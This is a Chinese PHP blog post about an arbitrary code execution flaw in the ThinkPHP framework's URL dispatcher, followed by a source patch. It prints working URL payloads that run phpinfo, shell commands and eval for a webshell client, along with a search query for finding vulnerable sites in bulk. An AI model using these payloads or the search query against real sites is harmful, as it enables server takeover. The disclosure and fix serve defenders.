ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
MYSQL环境变量设置方法
Jan 15 PHP
php表单转换textarea换行符的方法
Sep 10 PHP
WordPress判断用户是否登录的代码
Mar 17 PHP
PHP中的strtr函数使用介绍(str_replace)
Oct 20 PHP
php中通过curl smtp发送邮件
Jun 05 PHP
php实现图形显示Ip地址的代码及注释
Jan 20 PHP
Linux下安装oracle客户端并配置php5.3
Oct 12 PHP
php解析字符串里所有URL地址的方法
Apr 03 PHP
php实现搜索类封装示例
Mar 31 PHP
PHP+Jquery与ajax相结合实现下拉淡出瀑布流效果【无需插件】
May 06 PHP
简单理解PHP的面向对象编程方式
May 17 PHP
PHP实现上传多图即时显示与即时删除的方法
May 09 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
PHP中PDO的错误处理
2011/09/04 PHP
免费手机号码归属地API查询接口和PHP使用实例分享
2014/04/10 PHP
PHP编写文件多服务器同步程序
2016/07/02 PHP
PHP对象克隆clone用法示例
2016/09/28 PHP
XmlUtils JS操作XML工具类
2009/10/01 Javascript
你必须知道的Javascript知识点之"this指针"的应用
2013/04/23 Javascript
浅谈JavaScript之事件绑定
2013/07/08 Javascript
js数组操作学习总结
2013/11/04 Javascript
详解Bootstrap创建表单的三种格式(一)
2016/01/04 Javascript
浅析jquery数组删除指定元素的方法:grep()
2016/05/19 Javascript
javascript 删除数组元素和清空数组的简单方法
2017/02/24 Javascript
jQuery插件HighCharts绘制的基本折线图效果示例【附demo源码下载】
2017/03/07 Javascript
Vue+Vux项目实践完整代码
2017/11/30 Javascript
JavaScript中的一些隐式转换和总结(推荐)
2017/12/22 Javascript
js装饰设计模式学习心得
2018/02/17 Javascript
JS实现电脑虚拟键盘打字测试
2020/06/24 Javascript
Vue——解决报错 Computed property "****" was assigned to but it has no setter.
2020/12/19 Vue.js
Python 异常处理实例详解
2014/03/12 Python
《Python之禅》中对于Python编程过程中的一些建议
2015/04/03 Python
Python简单实现安全开关文件的两种方式
2016/09/19 Python
python如何获取当前文件夹下所有文件名详解
2019/01/25 Python
使用PyTorch将文件夹下的图片分为训练集和验证集实例
2020/01/08 Python
Python3 shelve对象持久存储原理详解
2020/03/23 Python
python Socket网络编程实现C/S模式和P2P
2020/06/22 Python
python报错: 'list' object has no attribute 'shape'的解决
2020/07/15 Python
HTML5拖放API实现自动生成相框功能
2020/04/07 HTML / CSS
俄罗斯最大的消费电子连锁零售商:Mvideo
2017/06/25 全球购物
Python面试题:Python是如何进行内存管理的
2014/08/04 面试题
值传递还是引用传递
2015/02/08 面试题
实践单位评语
2014/04/26 职场文书
幼儿园老师新年寄语
2015/08/17 职场文书
标准版个人借条怎么写?以及什么是借条?
2019/08/28 职场文书
浅谈spring boot使用thymeleaf版本的问题
2021/08/04 Java/Android
CSS 使用 resize 实现图片拖拽切换预览功能(强大功能)
2021/08/23 HTML / CSS
win11怎么用快捷键锁屏? windows11锁屏的几种方法
2021/11/21 数码科技
Windows Server 2016服务器用户管理及远程授权图文教程
2022/08/14 Servers